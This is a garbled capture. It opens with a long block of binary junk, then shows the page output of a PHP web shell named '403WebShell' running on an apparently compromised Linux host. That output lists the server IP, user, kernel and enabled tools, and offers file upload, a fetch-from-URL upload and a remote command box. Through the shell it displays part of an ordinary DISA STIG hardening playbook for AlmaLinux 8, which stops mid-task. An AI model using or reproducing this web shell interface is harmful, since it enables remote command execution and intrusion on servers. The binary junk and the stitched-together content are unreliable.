�����u�����񶤑Oqˎ�T����r��㠚x�sr�GC��byp�G��1ߠ�w e�8�$⿄����/�M{*}��W�]˷.�CK\�ުx���/$�WP w���r�
|i���&�}�{�X�
�>��$-��l���?-z���g����lΆ���(F���h�vS*���b���߲ڡn,|)mrH[���a�3�ר�[1��3o_�U�3�TC�$��(�=�)0�kgP���� ��u�^=��4 �WYCҸ:��vQ�ר�X�à��tk�m,�t*��^�,�}D*� �"(�I��9R����>`�`��[~Q]�#af��i6l��8���6�:,s�s�N6�j"�A4���IuQ��6E,�GnH��zS�HO�uk�5$�I�4��ؤ�Q9�@��C����wp �BGv[]�u�Ov��� 0I4���\��y�����Q�Ѹ��~>Z��8�T��a��q�ޣ;z��a���/��S��I:�ܫ_�|������>=Z����8:�S��U�I�J��"IY���8%b8���H��:�QO�6�;7�I�S��J��ҌAά3��>c���E+&jf$eC+�z�;��V������r���ʺ������my�e���aQ�f&��6�ND ��.:��NT�vm�<-
u���ǝ\MvZY�N�NT��-A�>jr!S��n�O1�3�Ns�%�3D@���`������ܟ1�^c<�����a�ɽ�̲�Xë#�w�|y�cW�=�<ITS�1�G]�b��I&�"B#E,�N` �l¡/'Pi��Ey�I���h���H�YH�A͑|4Z�A�����Q��>9I*H8�p�^(4���՗�k��arOcW�tO�\�ƍR��8����'�K���I�Q�����?5�>[�}��yU�ײ-h��=��%	q�ThG�2�)���"ו3]�!kB��*p�FDl�A���,�eEi�H�f�Ps�����5�H:�Փ~�H�0Dت�D�I����h�F3�������c��2���E��9�H��5�zԑ�ʚ�i�X�=:m�xg�hd(�v����׊�9iS��O��d@0ڽ���:�p�5�h-��t�&���X�q�ӕ,��ie�|���7A�2���O%P��E��htj��Y1��w�Ѓ!����	����	ࢽ��My�7�\�a�@�ţ�J �4�Ȼ�F�@o�̒<D�Xw���j}�G}9���j{C�<F2�?!x� <�x�=
�K#jU��k��3sr�4�*�\3���T�s�#�Eu y�I���{���F'��_�f����.���c|�TP���z�~�%6���`�v����e*wD�O�˞ᐌN�E�u�|̧hj����G: ��m{�<��SL�xS��4�(��Օ� ���#�t�gS�W�6�*E�:E�QSá|�"�W_$����G���D�}�N~�wQME�c�؁����մs��s�\I�hU��#m� oJ��.�J�٭J��I�Z؂R�`C��Bۇ]�^Y;Tѓ/.^�4�� 5�" ����ӭ�ҟ4��G ����І���jh�{l�oo�]N���a�+�ygm�.dY�!-W����աFnL��
>?4�wx��)��]�P��~�����u�����5�����7X��9��^ܩ�U;Iꭆ
5�������eK2�7(�{|��Y׎�V��\"���Z�1�
Z�����}��(�Ǝ"�1S���_�vE30>���p;�ΝD��%x�W�?W?v����o�^V�i�d��r[��/&>�~`�9Wh��y�;���R�� �;;ɮT��?����r$�g1�K����A��C��c��K��l:�'��3c�ﳯ*"t8�~l��)���m��+U,z��`( �>yJ�?����h>��]��v��ЍG*�{`��;y]��I�T�;c��NU�fo¾h���/$���|NS���1�S�"�H��V���T���4��uhǜ�]�v;���5�͠x��'C\�SBpl���h}�N����� A�Bx���%��ޭ�l��/����T��w�ʽ]D�=����K����r㻠l4�S�O?=�k
�M:���c�C�a�#ha���)�ѐxc�s���gP�iG�� {+���x���Q���I=	��z��ԫ+
�8"�k�ñ�j=|����c��y��CF��/ ��*9ж�h{�?4�o���k�m�Q�N�x��;�Y��4膚�a�w?�6�> e]�����Q�r�:����g�,i"�����ԩA� *M�<�G��b�if��l^M��5� �Ҩ�{����6J��ZJ�����P�*�����Y���ݛu�_4�9�I8�7���������,^ToR���m4�H��?�N�S�ѕw��/S��甍�@�9H�S�T��t�ƻ���ʒU��*{Xs�@����f��� ��֒Li�K{H�w^���������Ϥm�tq���s�
���ք��f:��o~s��g�r��ט�
�S�ѱC�e]�x���a��) ���(b-$(�j>�7q�B?ӕ�F��h<y�ci M�����Jc�����z�Nݝ:�ΧX����&]�+�\�T�F�4���@�+���ןO�׵���?�s�q8���(Y��Ʊ���*�RM��g�Ow0=g`��ښ�=�� 9���#�������o��m�r?���G񶨯�ǘ8��N�t1�%��<찘��5��?*�C�9�v����:�9��9?[�}~����a���)e�G+Ü�t(�N��JFm��e��[��P1'`�h% 4ﶹ�p�m�<��g=�۹��aa��x>V25r[7
Y�}L�R��}����*sg+��x�r�2�U=�*'WS��ZDW]�WǞ�<��叓���{�$�9Ou4��y�90-�1�'*D`�c�^o?(�9��u���ݐ��'PI&�f�Jݮ�������:wS����jfP1F:X�H�9dԯ�� �˝[�_54�}*;@�ܨ��	ð�yn�T���?�ןd�#���4rG�ͨ��H�1�|-#���Mr�S3��G�3�����)�.᧏3v�z֑��r����$G"�`j�1t��x0<Ɔ�Wh6�y�6��,œ�Ga��gA����y��b��)� �h�D��ß�_�m��ü�gG;��e�v��ݝ�nQ���C����-�*��o���y�a��M��I�>�<���]obD��"�:���G�A��-\%LT�8���c�)��+y76���o�Q�#*{�(F�⽕�y����=���rW�\p<yۚQ��bz�To����}��TT�Qqs�,s�vm盭��]���	����l�A�q�T<4p�p�b��U��Q�}�Y@�uZH��0n�����~�b|U�9/-�y#��@�7��]gxZ�Ո�ʟ�a���q�cÜ���M�r�u�r��#'PŻiՑ���o9���Y�����1;�s�����װ��/M"�3��hnt�T`UO��Xz�c�3�g��Cn"���m�e?�B�����9T�����ZW.�Y&�*GK�F��ݥz��q	�����ܧ�TNh#f�D���ᰎn�����}�fQ������69���ZL�C{�/P�̪(@a�[�11��^��J�F5s��T�ֺB��W�~= ���X��.�������_#����*�v�9�*֕�N�;AÛ�5f`pi5n�Ֆb������:�m���ĦiV?�.j,�C��-"��1��D)���`Ѭى,�jI9�ʈ����P����6��$u{�J��w��n4�Dm�m���y��}]���h�)ɹ#R#�΢ن���TZ���k�	����h(xe�G/�������EA��fQBA���?x���bk�T-���y4Ƈy��ИQ���4�3yk�Z&&�x�N�?Y}�.��{lt��u����psm}Cfs�iY�v��/�ZH*1XG�8��GF��u�SZ�#�{&#JȺ[H���su�^53�	��ݜf f讥]`��m���}h�=Xo,a����Ѣ�*����×^KJ1H~-�;,��Ƥ�d���D��B=ƥ����ue�(�D�ӈF��%N5����f��8��6>���۩�c���A���^e6��K������ʐ�cVf5$�'->���ՉN"���F�"�UQ@�f��G<GZ6p�5�(tW3~�!�$�U��#�'���¿���[!���17���;OP�&)��F/w9� )�qn`��y��4��X(�c�m^X)�46� |l0 ̵����ג�����P���`�.Ԛ��7 ��Ẻ����( �D���ȃ&=���ڍ]�����Q�cՏ�ϴ���4���66q��+ԩ�e@�WYb����M�@�`( ���eaP��Z�Y�N}��֧�:z$��K1�I��������=јu�跄),n0`�}���^H���ӯ?C�:@��ED��NŨ;I�]E��/�9^Z��.?��JG� p9�����:�U��c�@ �mxJG�hΏ�t�k��FfS���a��V?F�*�\{-�է8�Q��_�5�tOnyUY6&�}%Ex�,ª�j�rj-��Y���~��"�g�U���X���Y��ԯE��3Tm�� I:�NU���Qw���C�ߛ�L(�H��u���d�]Ǽ����4���G�S���Y�&n[$�A����2L��`6>b~��#�&�M=��8�ט�JNu9��D��[̤�s�o�~��� ���G��9T�tW^g5y$b��Y'��س�Ǵ�=��U-2	#�MC�t(�i�	�ǉ�@Q
5�̣i�*�O����s�x�K�f��}\��M{E�V�{�υ��Ƈ�����);�H����I��fe�Lȣr�2��>��W� I�Ȃ6������i��k���5�YOxȺ����>��Y�f5'��|��H+��98pj�n�.O�y�������jY��~��i�w'������l�;�s�2��Y��:'lg�ꥴ)o#'Sa�a�K��Z��m��}�`169�n���"���x��I ��*+�	}F<��cГ���F�P�������ֹ*�PqX�x۩��,�	��N��
�4<-����%����:��7����W���u�`����� $�?�I��&����o��o��`v�>��P��"��l���4��5'�Z�gE���8���?��[�X�7(��.Q�-��*���ތL@̲����v��.5���[��=�t\+�CNܛ��,g�SQnH����}*F�G16���&:�t��4ُ"A��̣��$�b �|����#rs��a�����T��]�<�j��B S�('$�ɻ�
�wP;�/�n��?�ݜ��x�F��yUn�~mL*-�������Xf�wd^�a�}��f�,=t�׵i�.2/wpN�Ep8�OР�����R�FJ�	
55TZ��T�ɭ�<��]��/�0�r�@�f��V��V����Nz�G��^���7hZi����k��3�,kN�e|�vg�1{9]_i��X5y7�8e]�U����'�-2,���e"����]ot�I��Y_��n�(JҼ��1�O]bXc���Nu�No��pS���Q_���_�?i�~�x h5d'�(qw52]	��'ޤ�q��o1�R!���`ywy�A4u���h<קy���\[~�4�\ X�Wt/�	6�����n�F�a8��f���z�3$�t(���q��q�x��^�XWeN'p<-v�!�{�(>ӽDP7��ո0�y)�e$ٕv�Ih'Q�EA�m*�H��RI��=:������4牢) �%_iN�ݧ�l]�	�Nt���G��H�L���ɱ�g<���1V�,�J~�ٹ�"K��Q�� 9�HS�9�?@��k����r�;we݁�]I�!{�@�G�[�"��`���J:�n]�{�cA�E����V��ʆ���#��U9�6����j�#Y�m\��q�e4h�B�7��C�������d<�?J����1g:ٳ���=Y���D�p�ц�׈ǔ��1�]26؜oS�'��9�V�FVu�P�h�9�xc�oq�X��p�o�5��Ա5$�9W�V(�[Ak�aY錎qf;�'�[�|���b�6�Ck��)��#a#a˙��8���=äh�4��2��C��4tm^ �n'c� ��]GQ$[Wҿ��i���vN�{Fu��1�gx��1┷���N�m��{j-,��x��Ūm�ЧS�[�s���Gna���䑴��x�p8<������97�Q���ϴ�v�aϚG��Rt�Һ׈�f^\r��WH�JU�7Z���y)�vg=����n��4�_)y��D'y�6�]�c�5̪ �\�
�PF�k����&�c;��cq�$~T�7j���nç]�<�g	":�to�t}�159�<�/�8������m�b�K#g'I'.W����� 6��I/��>v��\�MN��g���m�A�yQL�4u�ǈ�j9��#44�t��l^�}L����n��R��!��t��±]��r��h6ٍ>�yҏ�N��fU��	����Fm@�8}�/u��jb9������he:A�y�ծw��GpΧh�5����l}�3p468��)U��d��c����;Us/�֔�YX�1�O2��uq�s��`hwg�r~�{R��mhN��؎*q42�*th��>�#���E����#��Hv�O����q�}����� 6�e��\�,Wk�#���X��b>��p}�դ��3���T5����6��[��@ �P�y*n��|'f�֧>�lư΂�̺����SU�'*�q�p�_S�����M��	'��c�6��� ��m��ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&���dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD�A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR
�D�fV�9��{�8g�������n�h�(P"��6�[�D���<E�����~0<@�`�G�6����Hг�cc���c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^�DW�0�ꊩ���G�#��Q�nL3��c���������/��x
��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D�j����۳�l���^�k�h׽�������#�iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0        !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9�E�ߴ�w�S#d���Ix��u��:��Hp��9E!��
V2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C����	����v-tx����I�sם�Ę�q��Eb�+P\	:>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)�	"��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1K&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h�X��5��<�eޘ>G���-�}�دB�ޟ�
��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry�D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_�؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ�
V77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1�����]�[��)�'������ :�֪�W��FC�����	�B9،!?���]��V��A�Վ�M��b�w��G
F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54�p��.w7���
 ��&������ξxGHp�B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3        !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p���	�����Kv�D��J8�Fҽ�
�f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk����������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq
s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ĳ<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a����m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B�
K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E	T�lrTf6Q|R�h:��[K���z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H�)*ģK~Xhչ0��4?�0����E<���}3���#���u�?��
��|g�S�6ꊤ�|�I#Hڛ�	�ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��;�#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$���AjfG|~�9F���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k��
<html>
<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Server IP : <font color=#df5>51.161.54.47</font> &nbsp;/&nbsp; Your IP : <font color=#df5>216.73.216.98</font><br>Web Server : <font color='#df5'>Apache/2.4.68 (Unix) OpenSSL/1.1.1k</font><br>System : <font color='#df5'>Linux host.ditinformatica.ar 4.18.0-553.153.1.el8_10.x86_64 #1 SMP Thu Aug 6 00:53:12 EDT 2026 x86_64</font><br>User : <font color='#df5'>kalaycom&nbsp;</font>( <font color='#df5'>1021</font>)<br>PHP Version : <font color='#df5'>7.4.33</font><br>Disable Function : <font color='#df5'>NONE</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=green>ON</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=red>OFF</font> &nbsp;|&nbsp; Sudo : <font color=green>ON</font> &nbsp;|&nbsp; Pkexec : <font color=green>ON</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/usr">usr</a>/<a href="?loknya=/usr/share">share</a>/<a href="?loknya=/usr/share/scap-security-guide">scap-security-guide</a>/<a href="?loknya=/usr/share/scap-security-guide/ansible">ansible</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='red'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='green'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://linuxploit.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="kerang.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form></table><br><hr><center style="font-family: Russo One">[ <a href='/public/images/service/squirt.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /usr/share/scap-security-guide/ansible/almalinux8-playbook-stig.yml</tr></td></table><br/><pre>---
###############################################################################
#
# Ansible Playbook for DISA STIG for AlmaLinux OS 8
#
# Profile Description:
# This profile contains configuration checks that align to the
# DISA STIG for AlmaLinux OS 8 V2R7.
#
# Profile ID:  xccdf_org.ssgproject.content_profile_stig
# Benchmark ID:  xccdf_org.ssgproject.content_benchmark_ALMALINUX-8
# Benchmark Version:  0.1.81
# XCCDF Version:  1.2
#
# This Ansible Playbook is generated from an XCCDF profile without preliminary evaluation.
# It attempts to fix every selected rule, even if the system is already compliant.
#
# How to apply this Ansible Playbook:
# $ ansible-playbook -i &quot;localhost,&quot; -c local playbook.yml
# $ ansible-playbook -i &quot;192.168.1.155,&quot; playbook.yml
# $ ansible-playbook -i inventory.ini playbook.yml
#
###############################################################################

- name: Ansible Playbook for xccdf_org.ssgproject.content_profile_stig
  hosts: all
  vars:
    var_aide_scan_notification_email: root@localhost
    var_system_crypto_policy: FIPS:STIG
    inactivity_timeout_value: '900'
    var_screensaver_lock_delay: '5'
    var_sudo_timestamp_timeout: '0'
    var_authselect_profile: sssd
    login_banner_contents: You are accessing a U.S. Government (USG) Information System
      (IS) that is\nprovided for USG-authorized use only. By using this IS (which
      includes any\ndevice attached to this IS), you consent to the following conditions:\n\n-The
      USG routinely intercepts and monitors communications on this IS for\npurposes
      including, but not limited to, penetration testing, COMSEC monitoring,\nnetwork
      operations and defense, personnel misconduct (PM), law enforcement\n(LE), and
      counterintelligence (CI) investigations.\n\n-At any time, the USG may inspect
      and seize data stored on this IS.\n\n-Communications using, or data stored on,
      this IS are not private, are subject\nto routine monitoring, interception, and
      search, and may be disclosed or used\nfor any USG-authorized purpose.\n\n-This
      IS includes security measures (e.g., authentication and access controls)\nto
      protect USG interests--not for your personal benefit or privacy.\n\n-Notwithstanding
      the above, using this IS does not constitute consent to PM, LE\nor CI investigative
      searching or monitoring of the content of privileged\ncommunications, or work
      product, related to personal representation or services\nby attorneys, psychotherapists,
      or clergy, and their assistants. Such\ncommunications and work product are private
      and confidential. See User\nAgreement for details.
    dconf_login_banner_contents: You are accessing a U.S. Government (USG) Information
      System (IS) that is provided for USG-authorized use only. By using this IS (which
      includes any device attached to this IS), you consent to the following conditions:\n-The
      USG routinely intercepts and monitors communications on this IS for purposes
      including, but not limited to, penetration testing, COMSEC monitoring, network
      operations and defense, personnel misconduct (PM), law enforcement (LE), and
      counterintelligence (CI) investigations.\n-At any time, the USG may inspect
      and seize data stored on this IS.\n-Communications using, or data stored on,
      this IS are not private, are subject to routine monitoring, interception, and
      search, and may be disclosed or used for any USG-authorized purpose.\n-This
      IS includes security measures (e.g., authentication and access controls) to
      protect USG interests--not for your personal benefit or privacy.\n-Notwithstanding
      the above, using this IS does not constitute consent to PM, LE or CI investigative
      searching or monitoring of the content of privileged communications, or work
      product, related to personal representation or services by attorneys, psychotherapists,
      or clergy, and their assistants. Such communications and work product are private
      and confidential. See User Agreement for details.
    var_accounts_passwords_pam_faillock_deny: '3'
    var_accounts_passwords_pam_faillock_dir: /var/log/faillock
    var_accounts_passwords_pam_faillock_fail_interval: '900'
    var_accounts_passwords_pam_faillock_unlock_time: '0'
    var_password_pam_dcredit: '-1'
    var_password_pam_dictcheck: '1'
    var_password_pam_difok: '8'
    var_password_pam_lcredit: '-1'
    var_password_pam_maxclassrepeat: '4'
    var_password_pam_maxrepeat: '3'
    var_password_pam_minclass: '4'
    var_password_pam_minlen: '15'
    var_password_pam_ocredit: '-1'
    var_password_pam_retry: '3'
    var_password_pam_ucredit: '-1'
    var_password_hashing_algorithm: SHA512
    var_password_hashing_algorithm_pam: sha512
    var_password_hashing_min_rounds_login_defs: '100000'
    var_logind_session_timeout: '600'
    var_account_disable_post_pw_expiration: '35'
    var_accounts_maximum_age_login_defs: '60'
    var_accounts_minimum_age_login_defs: '1'
    var_accounts_password_minlen_login_defs: '15'
    var_accounts_fail_delay: '4'
    var_accounts_max_concurrent_login_sessions: '10'
    var_accounts_tmout: '600'
    var_user_initialization_files_regex: ^\.[\w\- ]+$
    var_accounts_user_umask: '077'
    rsyslog_remote_loghost_address: logcollector
    sysctl_net_ipv6_conf_all_accept_ra_value: '0'
    sysctl_net_ipv6_conf_all_accept_redirects_value: '0'
    sysctl_net_ipv6_conf_all_accept_source_route_value: '0'
    sysctl_net_ipv6_conf_all_forwarding_value: '0'
    sysctl_net_ipv6_conf_default_accept_ra_value: '0'
    sysctl_net_ipv6_conf_default_accept_redirects_value: '0'
    sysctl_net_ipv6_conf_default_accept_source_route_value: '0'
    sysctl_net_ipv4_conf_all_accept_redirects_value: '0'
    sysctl_net_ipv4_conf_all_accept_source_route_value: '0'
    sysctl_net_ipv4_conf_all_forwarding_value: '0'
    sysctl_net_ipv4_conf_all_rp_filter_value: '1'
    sysctl_net_ipv4_conf_default_accept_redirects_value: '0'
    sysctl_net_ipv4_conf_default_accept_source_route_value: '0'
    sysctl_net_ipv4_icmp_echo_ignore_broadcasts_value: '1'
    var_removable_partition: /dev/cdrom
    var_selinux_policy_name: targeted
    var_selinux_state: enforcing
    var_multiple_time_servers: 0.us.pool.ntp.mil
    var_time_service_set_maxpoll: '16'
    var_tftpd_secure_directory: /var/lib/tftpboot
    var_sshd_set_keepalive: '1'
    sshd_idle_timeout_value: '600'
    var_rekey_limit_size: 1G
    var_rekey_limit_time: 1h
    var_sssd_certificate_verification_digest_function: sha1
    var_audit_backlog_limit: '8192'
    var_auditd_disk_error_action: syslog|single|halt
    var_auditd_disk_full_action: syslog|single|halt
    var_auditd_action_mail_acct: root
    var_auditd_space_left_action: email
    var_auditd_space_left_percentage: '25'
    var_auditd_name_format: hostname|fqd|numeric
  tasks:

  - name: Gather the package facts
    ansible.builtin.package_facts:
      manager: auto
    tags:
    - always

  - name: Ensure aide is installed
    ansible.builtin.package:
      name: aide
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.3
    - DISA-STIG-RHEL-08-010359
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-11.5
    - PCI-DSSv4-11.5.2
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_aide_installed

  - name: Build and Test AIDE Database - Ensure AIDE Is Installed
    ansible.builtin.package:
      name: '{{ item }}'
      state: present
    with_items:
    - aide
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.10.1.3
    - DISA-STIG-RHEL-08-010359
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-11.5
    - PCI-DSSv4-11.5.2
    - aide_build_database
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure AIDE to Verify the Audit Tools - Ensure AIDE is Installed
    ansible.builtin.package:
      name: '{{ item }}'
      state: present
    with_items:
    - aide
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030650
    - NIST-800-53-AU-9(3)
    - NIST-800-53-AU-9(3).1
    - aide_check_audit_tools
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Configure Notification of Post-AIDE Scan Details - Ensure AIDE is installed
    ansible.builtin.package:
      name: '{{ item }}'
      state: present
    with_items:
    - aide
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010360
    - NIST-800-53-CM-3(5)
    - NIST-800-53-CM-6(a)
    - aide_scan_notification
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure crypto-policies is installed
    ansible.builtin.package:
      name: crypto-policies
      state: present
    tags:
    - DISA-STIG-RHEL-08-010015
    - enable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_crypto-policies_installed

  - name: Ensure rng-tools is installed
    ansible.builtin.package:
      name: rng-tools
      state: present
    when: ( ansible_distribution == 'RedHat' and ansible_distribution_version is version('8.3',
      '&lt;=') or ( ansible_distribution == 'RedHat' and ansible_distribution_version
      is version('8.4', '&gt;=') and &quot;kernel&quot; in ansible_facts.packages ) )
    tags:
    - DISA-STIG-RHEL-08-010472
    - enable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_rng-tools_installed

  - name: 'Uninstall abrt-addon-ccpp Package: Ensure abrt-addon-ccpp is removed'
    ansible.builtin.package:
      name: abrt-addon-ccpp
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_abrt-addon-ccpp_removed

  - name: 'Uninstall abrt-addon-kerneloops Package: Ensure abrt-addon-kerneloops is
      removed'
    ansible.builtin.package:
      name: abrt-addon-kerneloops
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_abrt-addon-kerneloops_removed

  - name: 'Uninstall abrt-cli Package: Ensure abrt-cli is removed'
    ansible.builtin.package:
      name: abrt-cli
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_abrt-cli_removed

  - name: 'Uninstall abrt-plugin-sosreport Package: Ensure abrt-plugin-sosreport is
      removed'
    ansible.builtin.package:
      name: abrt-plugin-sosreport
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040001
    - disable_strategy
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - package_abrt-plugin-sosreport_removed

  - name: 'Uninstall gssproxy Package: Ensure gssproxy is removed'
    ansible.builtin.package:
      name: gssproxy
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040370
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_gssproxy_removed

  - name: 'Uninstall iprutils Package: Ensure iprutils is removed'
    ansible.builtin.package:
      name: iprutils
      state: absent
    tags:
    - DISA-STIG-RHEL-08-040380
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_iprutils_removed

  - name: 'Uninstall krb5-workstation Package: Ensure krb5-workstation is removed'
    ansible.builtin.package:
      name: krb5-workstation
      state: absent
    tags:
    - DISA-STIG-RHEL-08-010162
    - disable_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - package_krb5-workstation_removed

  - name: 'Uninstall libreport-plugin-logger Package: Ensure libreport-plugin-logger
      is removed'
    ansible.builtin.package:
      name: libreport-plugin-logger
      state: absent
    tags:
